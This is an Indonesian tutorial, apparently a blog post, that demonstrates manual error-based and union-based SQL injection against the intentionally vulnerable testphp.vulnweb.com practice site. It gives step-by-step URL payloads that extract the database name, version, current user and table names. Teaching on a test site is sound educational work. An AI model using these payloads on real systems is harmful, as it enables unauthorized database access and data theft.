SQL Injection
SQL Injection adalah salah satu teknik peretasan dengan cara menyalahgunakan celah keamanan yang ada di lapisan SQL berbasis data suatu aplikasi. Terbentuknya celah tersebut akibat input yang tidak difilter dengan benar dalam pembuatannya, sehingga terciptalah celah yang bisa disalahgunakan.
Umumnya, hacker menggunakan perintah atau query SQL dengan tools tertentu untuk mengakses database. Injeksi kode yang dilakukan membuat mereka dapat masuk tanpa proses otentikasi. Setelah berhasil, hacker bebas untuk menambahkan, menghapus, serta mengubah data-data pada website.
kami akan mecoba menerapkan teknik SQL Injection dengan cara manual
Mari kita mulai!
Buka URL target yang diberikan di bawah ini di browser
http://testphp.vulnweb.com/artists.php?artist=1
Jadi di sini kita akan menguji injeksi SQL untuk “id=1″

Sekarang gunakan teknik basis kesalahan dengan menambahkan simbol apostrof (‘) di akhir input yang akan mencoba menghentikan kueri.
testphp.vulnweb.com/artists.php?artist=1'
Pada gambar tangkapan layar yang diberikan, Anda dapat melihat bahwa kami mendapat pesan kesalahan yang berarti situs yang sedang berjalan terinfeksi oleh injeksi SQL.

Sekarang menggunakan kata kunci ORDER BY untuk mengurutkan catatan dalam urutan menaik atau menurun untuk id=1
http://testphp.vulnweb.com/artists.php?artist=1 order by 1

Ulangi hal yang sama untuk order 2, 3 dan seterusnya satu per satu
http://testphp.vulnweb.com/artists.php?artist=1 order by 2

http://testphp.vulnweb.com/artists.php?artist=1 order by 4
Dari tangkapan layar, Anda dapat melihat mendapat kesalahan pada urutan ke-4 yang berarti hanya terdiri dari tiga rekaman.

Mari kita bahas lebih dalam menggunakan injeksi basis union untuk memilih pernyataan dari tabel yang berbeda.
http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3
Dari tangkapan layar, Anda dapat melihat hasil yang ditampilkan hanya untuk satu tabel, tidak untuk tabel lainnya.

Sekarang coba masukkan input yang salah ke dalam database melalui URL dengan mengganti artist=1 dari artist=-1 seperti yang diberikan di bawah ini:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3
Oleh karena itu Anda sekarang dapat melihat hasil untuk dua tabel yang tersisa juga.

Gunakan kueri berikut untuk mengambil nama database
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3
Dari tangkapan layar, Anda dapat membaca nama database acuart

Next query will extract the current username as well as a version of the database system
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current_user()
Di sini kita telah mengambil 5.1.73 0ubuntu0 10.04.1 sebagai versi dan acuart@localhost sebagai pengguna saat ini

Melalui query berikutnya, kita akan mencoba mengambil nama tabel di dalam database
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1
Dari gambar tangkapan layar, Anda dapat membaca bahwa nama tabel pertama adalah artis.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1
Dari gambar tangkapan layar, Anda dapat membaca nama tabel kedua, yaitu carts.

Demikian pula, ulangi query yang sama untuk tabel lain dengan sedikit perubahan
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1
Kami mendapat tabel 3: categ

Ulangi kueri yang sama untuk tabel 4, 5, 6, dan 7 dengan membuat sedikit perubahan pada LIMIT.
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 7,1
Kami mendapat tabel 7: users

selebihnya bisa kalian explor sendiri hehe